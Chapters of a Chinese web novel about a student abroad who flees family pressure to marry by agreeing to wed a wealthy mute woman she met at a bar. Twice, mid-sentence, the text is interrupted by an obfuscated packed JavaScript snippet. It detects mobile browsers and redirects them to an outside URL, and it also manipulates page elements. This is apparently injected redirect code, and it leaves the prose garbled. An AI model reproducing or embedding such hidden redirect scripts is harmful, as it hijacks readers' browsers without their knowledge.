她的半夜是北京时间的早晨、中午。多了几个未接来电,对方很贴心的停在了十二点,往后没有再打,转成微信消息了。 年弥之万般无奈的点开。 第一条就是博勤的。 【老爸:乖女,爸爸也知道你心里不好受,可是咱们家的状况你也清楚,我们也很心痛】 【你要是能勤工俭学的读完,当然最好了。但爸爸的朋友也说好了,可以让你转学到沪城大学】 【那也是个好学校,你读完出来不照样能找个好工作?】 【最好这两天就能定下来,这学期才开始,来得及。】 【多问候下你妈妈,她这两天心脏又不太舒服】 【我们都希望你能陪着我们,所以才想你回来】 年弥之哽着叹息看完了全部的消息。博勤只字未提博拂远,也没说为了安慰他还给他打了零花钱的事。 若是不知情的,看见这聊天记录,一定会以为博勤很爱自己的女儿、很疼自己的妻子吧? 可是,她们家还有个弟弟啊。 年弥之又点开年尚旗的聊天框。 【老妈:你昨天怎么跟你爹说话的?我们又不是要害你】 【喊你回趟家而已,你回来了我们才好商量下一步啊】 【你弟弟正值申请学校的关键期,我们才不想打扰他。你想想看,你高三那年我们不也是这么纵着你的?那会儿你弟想找你玩,还被你爹抽了呢,忘了吗?他当时肿着个头,猪一样,你写完作业看见他还很奇怪,以为他被欺负了,想给他找场子呢】 【好好跟你爹道个歉。等下醒了跟我打个电话,我给你买机票】 年弥之差点气笑了。 她呛了两口,喉头被酒泡得很辣,刺激的她好像回到喝一杯清晨的时候。 她没有回博勤的道貌岸然,却忍不住想回年尚旗几句。 【之之:那他学费从哪儿来?不是负担不起了吗?大学四年,按照他一个月一万刀的开销,一年十万刀的学费。起码要八十万刀,六百万人民币。这还是有我守着,他不会天天出去乱买东西的情况下。】 【之之:我念完本科剩下的两年只需要二十七万刀。我这学期已经谈好了RA,那个是有工资的,还能再少点。】 【之之:算账算不来吗?为什么非要把偏心说的……】 年弥之沉默着把最后一句话删去。连着也把质问的两句话撤回。 年尚旗大概在忙新找的工作。没有及时看见撤回的消息,不然怎么也会打几个电话来。 年弥之头疼的翻开通讯录好友界面。 她最不想看见的人,最烦的那一个,给她发了好友申请。 【吻上她的丝袜:我是徐文航。你什么时候回来?照片看不清楚,我想看看你本人[狗头]】 年弥之看着就觉得用嚣张形容卿兮翎并不准确。 嚣张一定让人讨厌,卿兮翎不过是…… 年弥之忍着眼眶的酸涩,想靠转移注意力的思考把眼泪咽回去。哪怕卿兮翎是她暂时的共犯,她也不愿让任何人看见她的眼泪。 年弥之低着头思考了好一会儿才想出来一个词。 恣意。 卿兮翎只是恣意,她纵情妄为,她的张狂只针对她自己,她对待旁人相当温和有礼,还会给自己点好喝的酒,给自己买单…… 视线还是没能忍住滑向模糊。 咬着牙不让眼泪真正落地时,年弥之感觉到头顶多了一只手。 她冷不丁的抬头望向正在轻抚她的卿兮翎。 只看见背着光的女人神情模糊又温柔。万丈光芒从她身后照出,模糊她的轮廓。 隐隐约约的,年弥之以为自己看见了佛光、仙光。 一行泪终于崩出眼眶。 而卿兮翎坐近了一点,依旧柔软的抚摸着年弥之的头发。 她的抚摸不是很规律,有一搭没一搭的,却同样轻柔,对待易碎品一样对带着年弥之杂乱的头发。无视着她可怜的红眼眶,用看待珍宝的眼神看着她。 卿兮翎不会说话,她的手有专注的安慰着年弥之。年弥之不必担心她给出让自己恐慌害怕的话语。 于是清光落入年弥之的眼底。 变作一行行的泪。 …… 年弥之按下了过度的哽咽。她想要开口让卿兮翎别摸了。 她没那么可怜,大不了……大不了真的回国。结婚是不可能的,但去沪城大学也不是不能接受。 虽然学校降了很多档次。莫宁冠大学可是全球前十的大学,本科更难申请。每年国内能申上它本科的不超过三位数。 沪城大学比不过沪城另外三所顶尖学院。只是也不算差,行业内也认可。 等几年家里经济状况好了,她工作也攒够了钱,她还能再出来念个研究生。 可卿兮翎一直在安抚她。从头发顺到背脊。方才紧密相贴过的地方再次被女人的手指尖划过,年弥之打着激灵,怎么都说不出拒绝的话。 这份爱抚多柔软,多温暖。 耀眼到,年弥之甚至有些贪恋…… 就好像十多年前,她和弟弟还没有上学的时候,年尚旗也是这般顺着她的头发,给她扎新研究的小辫子,给她插上刚买的碎花发饰。 她忽然觉得很可笑。她的亲人在想方设法从她身上牟利,唯一给她温暖的竟是萍水相逢的陌生人。 下一瞬年弥之视线猛得一晃。她怔愣着扬起头,她们近到可以接吻的距离,她正被卿兮翎怜悯的抱着,拍拍背轻哄。 她们才吻了那么多次,所有的情欲都在酒与吻的丝线中不停的被挑起。 可年弥之只能看见、看见卿兮翎精致到堪称完美的脸。 看见她脸颊自然浮起的玫瑰血色,看见她狭长细密的金色睫毛。以及包含怜惜的蓝眼。 如果造物主只有一颗蓝宝石。那会是卿兮翎的左眼,还是右眼? 卿兮翎也不嫌弃年弥之一身酒味。把她抱的可紧,好像小时候年弥之玩洋娃娃那样。 明明卿兮翎自己才是漂亮的瓷娃娃,最美妙的艺术品。 可她这么抱着年弥之,就好像年弥之比她还珍贵。 年弥之主动着钻入卿兮翎的怀抱。这一刻她才发现卿兮翎浑身并没有夏热秋燥,她甚至有些凉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556938|204465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像酒水的温度。皮肤摸着冰冰的,滑腻腻的好像刚从冷藏室拿出来的果冻。 甚至年弥之闻不到卿兮翎身上的酒气。 明明她们一起喝了一夜,疯狂的卷在一起接吻。 她身上都有些酒水的气味,怎么卿兮翎可以没有?只剩些快要散掉的昙花香。 也许,也许卿兮翎不是人类。不然为什么对自己这么好? 年弥之想到她曾经看过的动漫。那里面的妖精就是卿兮翎的模样。 白皙的皮肤、金色的长卷发,蓝调时刻一般的眼,温柔又漂亮。 这一刻她才意识到卿兮翎真的比她年长,就好像…… 就好像她一直很想要的姐姐。 如果让她在姐妹兄弟里选一个,她要姐姐。最次也是妹妹。 她不要弟弟,而如果她有哥哥,那世界上可能就没有她了。 年弥之知道自己的眼泪落在卿兮翎衣服上。 那一定很昂贵的布料都被她弄脏了。 可卿兮翎没有推开她,只是一直一直。 一直在安抚她。 这样的人想和她结婚。她们是短暂的同盟,她向她发出成为共犯的邀请。 年弥之忽然抬起头,不顾自己是否肿着眼难看又狼狈,她只想确认卿兮翎的蓝眸,那里是否藏着虚假? 可她怎么眨眼都只剩泪水模糊视线。于是她不得不开口:“你会骗我吗?” 卿兮翎抚摸的动作悬在半空。她歪着头看向年弥之的脸,她的眼神朦朦胧胧的,和年弥之好像。 年弥之这样仰视着她,好像终于理解她为什么总喜欢这么看着谁。 看似弱势的位置能看清一个人的眼球,睫毛头发光影都遮不住。 卿兮翎却抬起食指轻轻擦拭掉年弥之眼角的泪花。 她连摇头都没有给,可这样的动作更让年弥之眉心发酸。 “骗我也没关系的……我跟你走。”年弥之试着给出一个笑容,到底有些苦涩。 一夜的放纵之后生活的压力细细密密的扑上来,严丝合缝的包裹她每一分寸。 只要想到回家就会想到五千刀一个月的房租。想到冰箱里不够的食材。想到欠的赔偿金,接下来每个月每一天的生活费。 朋友借钱只能撑一时。就算食物好解决,房租呢?她去年这个时间点又续签了一年的房租合同。 违约金是两个月的房租费。不想违约就得去找人接她的转租。可这会儿又不是寒暑假最好租的时候,况且五千刀一个月的一室一厅一卫对大部分留学生来说太贵了。 交不上房租,她会被赶出去,信用也会被记录。以后想要留在曼城几乎不可能。 卿兮翎已经是她触手可及,最近的选择了。 卿兮翎应当知道自己的财务状况。不知道也没关系。年弥之想,就当她也贪图卿兮翎的钱财。 能随便在那种酒吧点一夜的酒,眼都不眨的签完账单。卿兮翎肯定不穷。 也许卿兮翎会害她,图谋什么。 可是没关系,可是就当她醉了!毕竟每个人都想从她那里得到什么,她选她喜欢的那一个又有什么问题? 年弥之捧着那替她拭泪的手指,感受着卿兮翎皮肤微妙的凉意,想要和她贴合,望向她的眼神带上些醉酒时都没有的疯狂。 年弥之答应了卿兮翎疯狂又冒犯的请求。 卿兮翎却只是弯弯眉眼,拿出手绢仔仔细细的把年弥之脸上的泪痕,酒渍,还有些化妆品的残留痕迹都擦去。 她反而没有方才的着急、冒进。车路过婚姻登记处,卿兮翎都没有让司机停下。 车辆歪歪斜斜的拐进第五大道的某个酒店,在那里落座。 年弥之被卿兮翎带着进去登记酒店入住,忍不住对卿兮翎的印象提高一点,再高一点…… 如果卿兮翎把年弥之带去她的私人场所,年弥之也毫无办法,并且连逃的可能都没有。 但酒店?如果年弥之不满意,她可以自己离开。 手机又响了一声。 年弥之本来不想看,她的金发妖精却在旁边戳了她好几下。 年弥之没注意到自己眉眼一直弯着,是本心觉得这个说不了话的女人可爱。 她在卿兮翎的催促下打开手机,看见卿兮翎想说的话。 【我不想催你也不想逼你。我着急,但你还有时间考虑。你可以当作,我家里也在催婚。我也并不想和他。】 【而我看你第一眼我就很喜欢,所以我选择了你。】 年弥之的耳根慢慢热了起来,被卿兮翎咬疼的痕迹仿佛灼烧。 这是她这段时间收到的最甜美的消息。 4. 第 4 章 年弥之在酒店房门口站了快两分钟了,迟迟不敢进去。 卿兮翎都把东西放了一圈,出来看见她还在门口立着,觉着奇怪,就去牵她。 一下还没拉动。年弥之仿佛僵在原地。 卿兮翎只好又戳了她好几下,才让这人回神。 对上卿兮翎歪着的头、明显疑惑的眼,年弥之才意识到自己刚刚走神,尴尬从脚背往上钻到头顶,她低着头赶紧跟上卿兮翎的步子进了房间。 刚刚登记的时候年弥之是看见卿兮翎拿着一张黑金卡刷了下。 订房全过程是卿兮翎跟酒店在交流,准确来说是卿兮翎比划了几下酒店方就拿着pos机让她刷卡了。 年弥之还以为卿兮翎最多订一个标间。 谁知道她订的是那种豪华总统套房啊……一晚上都得上千刀了吧? 年弥之一个月的房租只够在这儿住五天。 年弥之家不能算豪门,顶多是个暴发户。是早几年博勤做生意突然发了一笔,后面越做越顺,才攒出给两个孩子的留学费用。 再往前推几年,年弥之上小学的时候,她们还只是普通的小康家庭,收入能覆盖一家四口的日常活动而已。买个玩具都得纠结一番。 是以年弥之确实没有见过这种大场面。 宛如私人宫殿的开阔大堂,轻奢风格的装潢,楠木扶手和水晶楼梯…… 年弥之方才是真有点看呆了。 她红着耳朵总算没有跟小鸡仔一样跟在卿兮翎身后亦步亦趋。 可卿兮翎捏着她指尖的手并没有松开。 “卿……兮翎。”年弥之试探着开口,才想起来她们相识一夜,拥抱接吻都做过了,她却没有叫过卿兮翎一次名字。 而卿兮翎大概还不知道她叫什么。 女人的步子果然顿住。她们也刚好来到卧室门口。 卿兮翎投来一眼,湛蓝的眼眸带着明晃晃的疑惑。 金发蓝眼的女人好自然的与鎏金奢华的背景融为一体。 年弥之低头看见自己略脏的衬衣牛仔裤,又看到她们牵在一起的手,不大自在。 她用眼神暗示了一下,卿兮翎不知是没懂还是装傻,反而捏的更紧了点,甚至用掌心包住年弥之的手指。 “……这个别墅,额不对是房间,里面应该有很多卧室吧?”年弥之又换了一种方式希望卿兮翎离开。 说好是在酒店洗漱休息,给她时间考虑呢?怎么还拉着她不放? 卿兮翎听完她的话故作思考。她低头用手抵着下巴呆想了两秒,一本正经的。 而后忽然扬起头朝年弥之弯了眉眼。 这是一个称得上娇憨的笑容。多少有些孩子气的可爱。 大概是套房灯光偏暖。此刻又没有酒吧的喧闹,卿兮翎自带的宁静压过周遭,一个笑却又将它融化。 身旁的女人长发随着呼吸微微晃动,金色的瀑布好似将她们分隔。 可黏在一起的手指紧紧相扣,年弥之甚至能感觉到卿兮翎食指上的戒指痕迹。 下一瞬卿兮翎又冒犯一步,踏入了本该分给年弥之的卧室。 昙花的清香浓了,在干净的房间里变得纯粹,也更勾人。 不该长久绽放的花卉被制成留香整日的香水,这股反差几乎拉扯着香调本身。 年弥之也是第一次认识到昙花的香也能这么的妙曼,醇厚里透露着些许轻佻。 是有些突兀的刺激,可偏偏就是这点轻佻让人忍不住想要跟随,再多探究一点。 她被卿兮翎的香灌了满鼻子,一时间忘了要让卿兮翎去别的卧室,或者她退出来把房间让给卿兮翎。 而这位脾气古怪的妖精小姐只是抱住年弥之的手臂。 她刚刚真是在装傻,怎么可能没看出年弥之的不自在,还故意贴这么近。 她甚至又贴近了一步,快要踩到年弥之。 在踩上去前一寸停下,好像才想起来自己怀里抱了个东西似的,晃了晃年弥之的胳膊开始跟她撒娇。 一直到年弥之的耳垂泛起红色,卿兮翎才恶作剧得逞般松开她,而后指了指房间里的两张床,意思很明显。 “可、可是还有别的卧室,我们才认识一天……”年弥之终于想起来这个主线任务。 她刚刚不仅忘了把人赶出去,还被人简单撩了下就丢了魂。 这会儿卿兮翎都进卧室,还顺手把门锁上了。 年弥之干巴巴的噎了一句。 卿兮翎好认真的听完她讲话,蓝星星的眼睛眨巴着,摸出手机。 她找到预约结婚登记的界面,指了指——她们都要结婚了。 “……”年弥之魂都有点飘。 “不是还要给我时间考虑?” 卿兮翎手指往下滑,她还没点预约呢。 年弥之看明白了。卿兮翎意思是这也是考虑的一部分。 “我、我先去洗漱!”年弥之不再寄希望于卿兮翎能听话,救出自己的手臂,一下飞进浴室。 卿兮翎立在卧室门口望着她离开的方向,不知看见了什么,掩唇低低笑了起来。 不多时,两个人都换洗好准备休息。 年弥之躺在酒店大床上还觉得这一天过得很梦幻。 方才卿兮翎给她端了酒店准备的醒酒汤。一碗下肚,她清醒了不少,却也疲倦。 这会儿想不了太多事。 年弥之闭眼前扫到卿兮翎刚刚发来的消息,眼又一下跳开。 卿兮翎没法开口说话,她的交流是无声的。 放在消息流里很容易被忽略,尤其年弥之这会儿不太想看见家里人的话。 是以两个人明明在同一个空间,只是睡在不同的床上,年弥之都没能及时看见卿兮翎发来的消息。 她就说卿兮翎为什么又在看她不放,还以为这金发兔子是在打什么坏主意,就像刚刚。差点又误会妖精小姐了…… 年弥之想了想,给卿兮翎单独开了一个置顶,外加特别提醒。 【卿兮翎:你今天的课是什么时候的?】两个人闹了这么久,其实也才早上七点过。 年弥之眼皮打着架,回忆自己的课表。 【之之:刚刚没看见消息,下次我没看见消息,记得拍拍我。早上十点,下午一点、四点、五点。都是一个小时零十分钟的。】 【之之:不过我打算翘掉早课……syllable说允许一次不请假的旷课】 【卿兮翎:好。好好休息吧。之之。】 年弥之看见最后那两个字,一个鲤鱼打挺就从床上弹了起来。 之之是她乳名,平时只有家里人会这么喊她,说是因为她小时候还不会说话,整天就支支吾吾的哭,才给她起名之之。冷不丁被别人这么喊,年弥之的羞耻心就这么涌上头。 她落下的时候刚好对上卿兮翎一眨不眨的蓝宝石眼。 年弥之尴尬成一团,把自己包进被窝转过身,不肯看卿兮翎。 【之之:年弥之,我叫年弥之,英文名Chloe】 【卿兮翎:好的之之】 年弥之猛一下关上手机拉了灯。 *** 年弥之是被一阵柔和悠扬的琴声唤醒的。 灯关也正好,渐变的,从暗到亮,不至于扎痛她的眼睛。 年弥之坐在床上呆了两秒才想起来自己在那儿。 侧过头她对上一双幽蓝的眼,险些被她吸进去。 “早……”年弥之下意识跟卿兮翎打招呼。 她起身要去找手机看时间,这才发现卿兮翎几乎是趴在她床边。像守着主人的小兔子,扒着很高的床垫等人起来给予她爱抚。 卿兮翎确实漂亮精致得像个玩偶,自己会产生她像兔子的感觉也不奇怪吧? 年弥之怔愣思考间,卿兮翎已经把脸贴上她伸在床单外的手,鼻尖轻蹭了下,算作回应她的问好。 真是小兔子。哪儿有人这样和别人打招呼的?年弥之差点顺着卿兮翎的鼻尖去点她眉心摸她脸蛋。 手都伸出去了年弥之才想起来她们其实还算不上熟悉。 年弥之半路改道去拿手机。 卿兮翎也没有尴尬之类的表现,站起来裙摆都没拍,伸手准备拽年弥之起床。 年弥之扫了眼手机,把手递给了卿兮翎。 已经十一点四十五了。无论音乐还是灯关,都是有人调控。除了卿兮翎,年弥之想不到别的答案。 她真的很体贴。被兔兔样的卿兮翎领到餐桌前吃“早饭”时,年弥之在心里不断感叹。 带她来酒店休息,问她课表敲定起床时间,给她准备餐点,甚至餐点还是中式的…… 如果和她结婚,以后的每一天都像这样的话。 年弥之想,她不只是没有意见,她大概也没有遗憾了。 吃完饭,卿兮翎甚至送年弥之去了莫宁冠大学。 卿兮翎没有预约,进不去。就把年弥之送到了门口。 年弥之小心翼翼下车,回过头跟卿兮翎打招呼。 就看见卿兮翎脸上浅淡的粉色,朦胧的笑。 一阵昙花香擦过年弥之的鼻尖。 时间还来得及。年弥之刷完卡进学校,快走两步后找了个地方藏起来,偷偷看着卿兮翎的车呼啸而过。 黑色的路虎相当低调,几乎被淹没在曼城狭窄的街道里,成为车流的一滴。 年弥之鼻尖还残留了一丝昙花香。她没有看见过卿兮翎补香水,仿佛这香味是她自身散发的。 直到看不见那一抹漆黑寻常的车影,年弥之才转过身朝教学楼奔去。 她现在很想知道,卿兮翎的香水是找哪个调香师定制的。 这么会惹人心跳。 *** 上课的时候年弥之多少有点心不在焉。 她自学的时候更多,一直是满绩点。听课不算顶级认真的那一种,但也不会完全不听,会跟着要点做笔记,或者自己提前预习复习。 今天倒是异常。第七次发现教授的印度英语从大脑里滑溜溜的离开之后,年弥之叹了口气,小心翼翼的打开手机。 坐在她旁边的好友尤明秋已经看了她好一会儿了。 年弥之昨天接到破产消息的时候她在场,后来她还给年弥之转了钱,生怕好友用那副看淡生死的死鱼表情从那超高租金的房子里一跃而下。 这才过了一天,年弥之的脸色就好了不少。至少不如昨天那般死寂,哪怕黑眼圈又重了,她眼里依旧点上光。 年弥之注意到好友的目光了。她只是不知道该怎么跟好友说。 这是昨天二话不说借给她五百刀的好友。她很珍惜她们的情谊。 只是她和卿兮翎的事说出去实在有点…… 荒唐。 年弥之在心底批了一句。 年弥之干脆无视了好友飘忽的眼,还戳她几下让她认真听。 年弥之自己倒是找到卿兮翎的聊天框,跟她发消息。 【之之:我没有什么要考虑的了。卿小姐,反而是你,你确定要和我结婚吗?我的经济状况并不是很好。】 年弥之想尽早把这件事定下来。 年尚旗的消息都轰炸两轮了。她怕她明天一睁眼就看见母亲带着相亲对象来曼城抓她。 卿兮翎每次都是秒回。 【卿兮翎:钱不是问题,之后可以细聊。你要是定下,你下课我来接你?两个小时的时间去登记,走个来回足够了。】 【之之:可以的。】年弥之发完又看见卿兮翎的第一句话。 她现在可以肯定卿兮翎很有钱。说不定还是那种曼城很常见的Trustbaby。 只是不知道为什么,卿兮翎身边连个佣人都没有,还会去那么乱的酒吧买醉…… 不过,她们到底只是合作结婚的关系。年弥之没有去探究卿兮翎的隐私,就像卿兮翎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556939|204465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有问她家庭、经济状况。 【之之:我需要提供什么材料吗?】 卿兮翎发来一份表格,年弥之干脆不听课了,开始整理手头的资料。 照顾人的次数多了,年弥之这方面很有条理,五分钟就把资料都准备好,打包发给了卿兮翎。 【卿兮翎:两点十五在LowMemorial门口等我就好。还有,之之,我需要一个你的课表】 年弥之沉默着看着“之之”两个字。 这妖精小姐剖开内里怕不是个纯黑的。 年弥之不敢再表现得尴尬,生怕被卿兮翎再逮到把柄。 她把课表发过去,余光瞥见卿兮翎消息开头的“另外”两个字就开始关手机装蒜,无论卿兮翎怎么拍她都不打开微信了。 一直熬到下课。 “Chloe!你怎么样了?”尤明秋终于找到机会可以问年弥之了。 她抓着年弥之的手臂就想往她们最常去的图书馆跑,她还给她们预定了个座位呢。 年弥之却停了下步子,反而拉过她,两个人一块儿将就着在LowMemorial门口的草坪上坐下了。 今天万里无云,蓝天胜海。莫宁冠大学的草坪上长满了学生,雨季的蘑菇一样一丛丛的。 年弥之和尤明秋差点就找不到地方坐了。 “你家里的事是解决了吗?资金链?我昨天听乔乔说那边想逼你回去结婚,你不会答应了吧?”好不容易坐下来,尤明秋一串问题砸在年弥之脸上。 年弥之抹了把脸将不存在的汗捋开,摇头。 “我不可能和那个人结婚的。你不知道他多讨厌……我给你看他的好友申请。”年弥之挑了最好回答的那个问题。 尤明秋瞅着屏幕上的狗头,当场笑出了声。 要不是顾忌着这是好友的相亲对象,她肯定得坐在这儿笑十分钟,还要拿出去给她列表里两百个火花对象分享。 “他多大了??真的跟你同龄吗?我快三十的堂哥都没这么油啊!”尤明秋顶着好友幽怨的目光,好不容易把笑意忍下来,装起正经。 “谁知道,我不太记得了。年龄差应该不会很大……不是,谁要跟这种人结婚啊!”年弥之情绪都被尤明秋带动起来,好不容易起了点活力。 “唉唉不好意思,我好久没见这种……不说他。你还能读吗?我记得你这学期找的RA那个教授是孟学姐的导师?她们可以资助你吗?或者你试试申请奖学金?”尤明秋努力把话题拐回正道。 她嘴里的孟学姐是商科数一数二的风云人物,本科还没毕业,几家头部投行就已经抢着给她发full-timeoffer。只是她没工作两年,现在跟的这位导师开了个很好的项目,她又辞职回来读研跟着导师做项目了。 她话音刚落,年弥之就看见人群中的卿兮翎。 大概是头发太长气质太突出,哪怕卿兮翎才刚刚刷了预约码进校门,年弥之的余光也第一时间抓住她。 而卿兮翎的穿着和方才送她上学时不太一样。 她简单扎了下长卷发,保证它不会拖到地上。 发尾有一只略夸张的蝴蝶结,点满水钻,和她一身素白的衬衣长裤风格完全不搭。 除开衬衣长裤,她还搭了一件白色马甲,她任它随意的敞开,好像那马甲是她的发丝,可以自由在风中纷飞。 比起分别时的娇憨、温情。此刻的卿兮翎一身霜冷,很像就要去大杀四方的商业大腕。 “奖学金是可以申请,可RA那边我都还没有去报道……”年弥之被卿兮翎这一身打扮迷了眼,分心想不出来该怎么跟好友表达时,卿兮翎已经走到年弥之身边了。 尤明秋就看着这个陌生混血女人贴上好友的肩膀,脸颊粘着耳朵,发丝纠缠在一起,手也慢慢牵上了。 她眨巴眼,好像大脑和视线短暂断了联系,根本没有反应过来哪里不对劲。 嘴上还在叨叨输出呢。 “我是觉得你别听他们的,不要回国念,就差两年了……最麻烦的不就是房租吗?你现在这个房子其实做个隔断能住三个人。这两天还能找,有的迷糊鬼落地了还没房子住呢,你发个脸书ins,小地瓜也发,我也帮你发发,到时候跟她们分摊一下一人一千多刀一个月,打工也能攒。我有个好姐妹平时在校园里做美甲,周末去法拉盛那边,她还卖点假睫毛之类的,赚蛮多的,你感兴趣的话推给你……” “话说这是谁?” 谢天谢地。尤明秋终于注意到卿兮翎了。 卿兮翎跟她笑了下,略做作的把胸口黏上年弥之的背。她牵起年弥之的手细细的摩擦过她的手背,直勾勾的钻进她指缝,与她相扣。 有人在面前看着,年弥之退也不是进也不是,额角冒出一颗汗。 她并不是排斥和卿兮翎肢体接触。 卿兮翎好像很粘人,认识她的短短一天里,她只要有空就会贴上自己。再不济也是捏着手指玩。早上的不自在更多是经济差距带来的。 主要是卿兮翎的态度。 就好像她们已婚很久,交往多时,是甜蜜的伴侣。 卿兮翎的态度就好像正在跟别人炫耀这一点。 尤明秋已经呆在原地了。 她后知后觉的发现,这个陌生女子和她好友贴的太近了。 朋友之间打闹也会有肢体接触,可哪儿会像这样?把脖颈、耳后、指缝这些敏感带给人随便抚摸? 一个很大胆的猜测从尤明秋脑海里弹出来。 “她是你别的系的朋友吗?”尤明秋还不死心。 “呃……” 年弥之汗流浃背了。 年弥之望天装傻了。 耳朵突然一疼。兔子似的齿印钉了年弥之一瞬。 年弥之一个激灵,决定跟朋友说实话。 “她应该算我,嗯,未婚妻。”马上就要去结婚的妻子,也算未婚妻吧。 5. 第 5 章 比女朋友更让人震惊的词出现了。 尤明秋几乎石化的呆在原地,眼睛也忘了眨,嘴也忘了关,就这么愣愣的看着年弥之。 年弥之被她盯的有些发羞,咬痛嘴唇摆摆手,一秒八个假动作,然后才想起来自己能说话,快速逃离现场:“不聊了,她找我有事,我三点还要赶回来上课!” 说完年弥之就牵着卿兮翎朝校门口走。 留下被震撼到五体投地的尤明秋一个人伫着。 和尤明秋分开之后,年弥之就感觉背后的温度没了。 卿兮翎没有再贴着她,连抱紧的手臂也松开。 她最喜欢的牵手自然也断了。这会儿是年弥之拉着她的手掌,她还挺别扭的,故意把手伸得好直,是很不方便拉的状态,稍有不慎年弥之就会滑出去,握不住她。 从LowMemorial走到正门也就三五分钟。 短暂的时间里年弥之频频回头,对上的是矮了她一截的卿兮翎挑起的目光,卷翘的睫毛和宝石般的瞳孔依旧是分开时的模样,可年弥之怎么看怎么觉得不太对劲。 她在抵达校门口时试探着把手松开。 还以为故意不让她好好牵的卿兮翎会就这么算了,甚至迈着极快的步子超过她,自顾自的上车。 可卿兮翎却一下捏住年弥之的手,不许她走。 等年弥之再欢心着牵回来,她又不回应,不跟她握着。 年弥之脑门上逐渐冒出一个问号。 她确实没有谈过恋爱。可她有挺多朋友,朋友们性格多样,有的也很麻烦。年弥之试着开始揣测卿兮翎的想法。 是吃醋了?不该,她们才认识一天呢。 是伤心了?不像,眼眶都没红。 直到上车,两个人中间的距离能再挤下一个人。 年弥之终于可以确定,卿兮翎在闹别扭。 她们是才认识没多久,可无论是带她去酒店,还是送她上学。车上卿兮翎总和她贴的很近,要么倒在她肩膀上靠着,要么捏着她的手指。好像不接触在一起,她就会像风一般跑掉。 哪儿有距离这么远的时候。 年弥之正大光明的盯了卿兮翎两分钟。她想从卿兮翎的神情里看出她的异样。 可无论发丝还是睫毛,眼眸还是嘴唇,卿兮翎都完美的好像初见那一刻。 她没有流露出丝毫狼狈与怒火,或者更细微不甘或难受。 就好像在她身上连每一根发丝的每一缕弧度都被精心设计过,专门防备年弥之这种人的观察。 卿兮翎还是那么安静,淡然,某一个角度看过去她乖巧的宛如洋娃娃,可换一个角度又能看见她长裤马甲之下的恣意。 “那个……你在生气吗?”观察无果,年弥之才不得不开口询问。 既然要结婚,可能要住在一起。就算往少了说,她们也会经常有交流。年弥之还在幻想说不定卿兮翎会需要她陪她去晚宴之类的地方挡某些麻烦。 她们还是不要留下误会和不快比较好。 卿兮翎斜斜的睨了她一眼。这一眼终于多了情绪,眸光如鳞在她眼底荡出光彩,有那么一瞬闪到了年弥之的眼,叫她不得不眨动。 这一眼转的很快。它消逝前年弥之终于在卿兮翎的眼底品出了一抹……委屈? 怎么会是委屈呢?自己欺负她了? 不都是这黑心的妖精小姐在欺负自己吗? “刚刚那个是我朋友,叫尤明秋Charlie。昨天她听说我家破产了,二话不说借了钱给我……就,她不知道我们俩的关系。我刚刚那么说,没问题吧?” 年弥之寻找着可能惹卿兮翎生气的那个点。 不知是她的主动打动了脾气古怪的金发妖精,还是她的语气让妖精小姐不快。 卿兮翎侧过身,只手捏住年弥之的衣领,重重向下拽。 她本就处在低位,这是她习惯性调整出的姿态。两个人距离又远。 此刻年弥之真被拽得狼狈,没来得及扎进马尾里的发丝顺着脸颊往下落,零零散散盖住她的脸和眼底的光晕。 她腰半弯了,嘴不经意微张开。她被迫在卿兮翎鼻尖前一寸的位置停下。 她们分明隔得很远。可卿兮翎拽着她,此刻只差一次呼吸,她们就可以吻上彼此。 没有谁命令。年弥之就是停了呼吸。 不由自主的。 她是被迫以居高临下的姿态看向她的“未婚妻”。这也是她第一次这样与卿兮翎对视。 这么近,这么清晰。没有谁脑子还被残存的酒精腐蚀,她们很清楚彼此在做的事。 于是年弥之不止看见了蓝眸里的委屈。还有很明显的不快,些微恼怒,以及藏的很深的不甘和愤怒,不过那似乎不是针对她,只是卿兮翎眼眸的底色。 昨夜的乖顺依赖仿佛一颗泡沫。都不必戳,吹过就碎了。 卿兮翎究竟是什么样的?观察了她一天的年弥之竟然答不上来这个问题了。 因为……就在她为卿兮翎的下位威胁而心跳重重时,卿兮翎上前了。 她们是正好可以接吻的距离。 只要年弥之稍稍低头,卿兮翎闭上眼睛抬头让年弥之背后的日光落在脸上。 她们的鼻尖就会先一步碰在一起。短暂拥吻,然后是嘴唇。 可卿兮翎点点脑袋错开年弥之蠢蠢欲动的唇。 她骄傲的睫毛就这样垂落着盖住眼珠,也掩盖了她不太正经的动作。 她贴上了年弥之的衣领。 在尤明秋拍过的地方轻轻嗅闻起来。 年弥之抓着真皮车座的手都收紧了,浑身冒出鸡皮疙瘩。 如此强烈的野性、本能,或者称之为动物性,爆发在这样一个文静、优雅,穿着正装扎好头发的女人身上。 年弥之该有很多很多的想法。 可被卿兮翎险些嗅到脖颈上凸起的血管时。 年弥之脑海一空。 五感只剩卿兮翎扑在皮肤上如此清晰的热气。 以及那愈发浓郁的昙花香。 什么样的人才会把昙花做成香水? 是想要欣赏那须臾绚烂的美? 还是偏执狂妄的觉得它的短暂冒犯了自己,留香是在逼它听话? 这一刻卿兮翎在年弥之脑中的印象不再是乖巧或张狂的标签。 她变得无比深邃。 …… 卿兮翎没有停留很久。甚至如果不是车内太安静,年弥之会以为卿兮翎只是凑过来瞄一眼什么东西。 她离开的时候终于松开扯着的衣领。 然后拍了拍年弥之的肩膀。 卿兮翎这才看见年弥之的脸有多红。 